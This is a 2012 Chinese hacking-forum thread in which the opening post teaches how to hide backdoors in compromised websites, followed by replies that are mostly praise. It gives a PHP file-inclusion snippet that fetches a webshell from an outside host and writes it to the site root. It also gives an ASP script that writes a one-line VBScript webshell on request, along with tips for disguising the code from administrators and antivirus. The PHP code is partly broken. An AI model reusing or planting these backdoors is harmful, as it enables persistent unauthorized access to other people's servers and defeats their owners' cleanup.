# \[原创\]php后门插入小小技巧

**URL:** <https://forum.90sec.com/t/topic/3216>\
**Category:** 技术文章\
**Created:** [2012 年2 月 13 日 01:22 UTC](https://forum.90sec.com/t/topic/3216 "2012-02-13T01:22:27Z")\
**Posts on this page:** 19\
**Page:** 1

<div class="post-metadata">

作者： ![799029814](https://forum.90sec.com/letter_avatar_proxy/v4/letter/7/d07c76/32.png) [@799029814](https://forum.90sec.com/u/799029814)\
发布日期： [2012 年2 月 13 日 01:22 UTC](https://forum.90sec.com/t/topic/3216/1 "2012-02-13T01:22:27Z")

</div>

_本帖最后由 Roker 于 2012-2-13 23:49 编辑_

没啥技术含量，只提供一种思路。大牛莫笑。。。  
一个月前投了一篇asp一句话插入技巧  
可惜没通过审核，再加上被tomato在3est转载了  
所以再写一个php的  
利用文件包含漏洞  
在正常的php中 插入  
$file\_name = $_GET["filename"];  
include("$file\_name ");  
filename搞得复杂点，不然被别人利用就不好了。^_^  
这样就可以了，  
举个简单的例子  
在自己空间上上传a.txt  
内容为  
\<?  
$f=file\_get\_contents("[www.xxx.com/aa.txt](http://www.xxx.com/aa.txt)")  
$=fopen(name.php","a");  
fwrite (,$f);  
fclose();  
?\>  
aa.txt是你的马  
这样只要访问 [www.xxx.com/xxx.php?filename=www.xxx.com/a.txt](http://www.xxx.com/xxx.php?filename=www.xxx.com/a.txt)  
就可以在根目录生成name.php  
写这个的目的是因为，一句话和shell很容易被查杀,这样比较隐蔽  
附带以前写的一句话插入技巧(虽然被Tomato转到了3est，但好歹也是原创吧....^\_^~~~)

* * *

今天搞渗透的时候，没想到管理员在，上传的shell全被他删了  
一句话木马也不放过  
无奈写下了下面的脚本  
\<%  
id =request("id")  
if id \<\> "" then  
set fso=Server.CreateObject("Scripting.FileSystemObject")  
with fso.opentextfile(server.mappath("sys.asp"),8,true)  
.Writeline id  
.close  
End with  
End if  
%\> /\*不会被杀，很正常的代码。不需要加密。

再加一些注释迷惑管理员，  
插入到正常asp文件  
这样只要我一访问 aspname.asp?id=\<SCRIPT language=VBScript runat="server"\>execute request("123")\</SCRIPT\>  
就会在 根目录下 生成 sys.asp一句话

---

<div class="post-metadata">

作者： ![nc4c](https://forum.90sec.com/letter_avatar_proxy/v4/letter/n/e274bd/32.png) [@nc4c](https://forum.90sec.com/u/nc4c)\
发布日期： [2012 年2 月 13 日 01:25 UTC](https://forum.90sec.com/t/topic/3216/2 "2012-02-13T01:25:28Z")

</div>

让我搞到板凳了。。

---

<div class="post-metadata">

作者： ![fan](https://forum.90sec.com/letter_avatar_proxy/v4/letter/f/df788c/32.png) [@fan](https://forum.90sec.com/u/fan)\
发布日期： [2012 年2 月 13 日 01:34 UTC](https://forum.90sec.com/t/topic/3216/3 "2012-02-13T01:34:30Z")

</div>

好思路，多谢分享~

---

<div class="post-metadata">

作者： ![c11](https://forum.90sec.com/letter_avatar_proxy/v4/letter/c/71e660/32.png) [@c11](https://forum.90sec.com/u/c11)\
发布日期： [2012 年2 月 13 日 01:49 UTC](https://forum.90sec.com/t/topic/3216/4 "2012-02-13T01:49:55Z")

</div>

{:4\_75:}我也分享。。。

---

<div class="post-metadata">

作者： ![user50](https://forum.90sec.com/user_avatar/forum.90sec.com/user50/32/11409_2.png) [@user50](https://forum.90sec.com/u/user50)\
发布日期： [2012 年2 月 13 日 03:29 UTC](https://forum.90sec.com/t/topic/3216/5 "2012-02-13T03:29:40Z")

</div>

学习了 多谢楼主 。。。

---

<div class="post-metadata">

作者： ![jhvxer](https://forum.90sec.com/letter_avatar_proxy/v4/letter/j/82dd89/32.png) [@jhvxer](https://forum.90sec.com/u/jhvxer)\
发布日期： [2012 年2 月 13 日 03:44 UTC](https://forum.90sec.com/t/topic/3216/6 "2012-02-13T03:44:43Z")

</div>

复制不了代码.擦

---

<div class="post-metadata">

作者： ![hack2012](https://forum.90sec.com/user_avatar/forum.90sec.com/hack2012/32/908_2.png) [@hack2012](https://forum.90sec.com/u/hack2012)\
发布日期： [2012 年2 月 13 日 03:59 UTC](https://forum.90sec.com/t/topic/3216/7 "2012-02-13T03:59:23Z")

</div>

很强大的代码嘛 呵呵！！

---

<div class="post-metadata">

作者： ![L.N](https://forum.90sec.com/user_avatar/forum.90sec.com/l.n/32/11411_2.png) [@L.N](https://forum.90sec.com/u/L.N)\
发布日期： [2012 年2 月 13 日 04:07 UTC](https://forum.90sec.com/t/topic/3216/8 "2012-02-13T04:07:48Z")

</div>

建议把！代码用代码标签重新设置一下！这个不好复制啊

---

<div class="post-metadata">

作者： ![user21](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/6bbea6/32.png) [@user21](https://forum.90sec.com/u/user21)\
发布日期： [2012 年2 月 13 日 04:28 UTC](https://forum.90sec.com/t/topic/3216/9 "2012-02-13T04:28:12Z")

</div>

牛逼的代码，mark

---

<div class="post-metadata">

作者： ![zcgonvh](https://forum.90sec.com/user_avatar/forum.90sec.com/zcgonvh/32/11384_2.png) [@zcgonvh](https://forum.90sec.com/u/zcgonvh)\
发布日期： [2012 年2 月 13 日 05:01 UTC](https://forum.90sec.com/t/topic/3216/10 "2012-02-13T05:01:26Z")

</div>

这方法不错…………

---

<div class="post-metadata">

作者： ![Hu0G4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/h/f14d63/32.png) [@Hu0G4](https://forum.90sec.com/u/Hu0G4)\
发布日期： [2012 年2 月 13 日 05:15 UTC](https://forum.90sec.com/t/topic/3216/11 "2012-02-13T05:15:44Z")

</div>

很好的思路 好好学习了

---

<div class="post-metadata">

作者： ![user22](https://forum.90sec.com/user_avatar/forum.90sec.com/user22/32/11361_2.png) [@user22](https://forum.90sec.com/u/user22)\
发布日期： [2012 年2 月 13 日 10:33 UTC](https://forum.90sec.com/t/topic/3216/12 "2012-02-13T10:33:36Z")

</div>

这个后门不错。{:4\_30:}

---

<div class="post-metadata">

作者： ![user50](https://forum.90sec.com/user_avatar/forum.90sec.com/user50/32/11409_2.png) [@user50](https://forum.90sec.com/u/user50)\
发布日期： [2012 年2 月 13 日 12:54 UTC](https://forum.90sec.com/t/topic/3216/13 "2012-02-13T12:54:17Z")

</div>

我想复制代码。。。。

---

<div class="post-metadata">

作者： ![799029814](https://forum.90sec.com/letter_avatar_proxy/v4/letter/7/d07c76/32.png) [@799029814](https://forum.90sec.com/u/799029814)\
发布日期： [2012 年2 月 13 日 16:13 UTC](https://forum.90sec.com/t/topic/3216/14 "2012-02-13T16:13:15Z")

</div>

\*\*回复 [13#](http://www.90sec.org/redirect.php?goto=findpost&pid=15184&ptid=1490) _xiaoquan_ \*\* Asp的话，一句话连接不上的跟管理员的设置有关（毕竟一句话也是有条件的，管理员这么BT的话，直接写Shell，呵呵），还有密码不要设置为#，我还没有出现过不行的情况。PHP的如果Allow\_url\_fopen不是激活的话（当然默认是激活的，一般情况不会改）不能外部包含，百度Php包含漏洞，有其它方法，我现在在学校，手机党，就不打了，请谅解^\_^

---

<div class="post-metadata">

作者： ![799029814](https://forum.90sec.com/letter_avatar_proxy/v4/letter/7/d07c76/32.png) [@799029814](https://forum.90sec.com/u/799029814)\
发布日期： [2012 年2 月 13 日 16:16 UTC](https://forum.90sec.com/t/topic/3216/15 "2012-02-13T16:16:30Z")

</div>

\*\*回复 [8#](http://www.90sec.org/redirect.php?goto=findpost&pid=15168&ptid=1490) _L.N._ \*\*抱歉，目前在学校，手机党，不好搞

---

<div class="post-metadata">

作者： ![wefgod](https://forum.90sec.com/letter_avatar_proxy/v4/letter/w/a587f6/32.png) [@wefgod](https://forum.90sec.com/u/wefgod)\
发布日期： [2012 年2 月 15 日 03:28 UTC](https://forum.90sec.com/t/topic/3216/16 "2012-02-15T03:28:52Z")

</div>

php有的一句话变种是很可怕的

---

<div class="post-metadata">

作者： ![sinack](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/e47c2d/32.png) [@sinack](https://forum.90sec.com/u/sinack)\
发布日期： [2012 年2 月 15 日 08:05 UTC](https://forum.90sec.com/t/topic/3216/17 "2012-02-15T08:05:56Z")

</div>

-。-人才啊。这都发现鸟。膜拜下

---

<div class="post-metadata">

作者： ![Tomato](https://forum.90sec.com/user_avatar/forum.90sec.com/tomato/32/11419_2.png) [@Tomato](https://forum.90sec.com/u/Tomato)\
发布日期： [2012 年2 月 15 日 08:07 UTC](https://forum.90sec.com/t/topic/3216/18 "2012-02-15T08:07:55Z")

</div>

顶一下 思路很强大啊  
Roker胸

---

<div class="post-metadata">

作者： ![user26](https://forum.90sec.com/user_avatar/forum.90sec.com/user26/32/11370_2.png) [@user26](https://forum.90sec.com/u/user26)\
发布日期： [2012 年2 月 16 日 10:09 UTC](https://forum.90sec.com/t/topic/3216/19 "2012-02-16T10:09:36Z")

</div>

mark 好东西。不错····
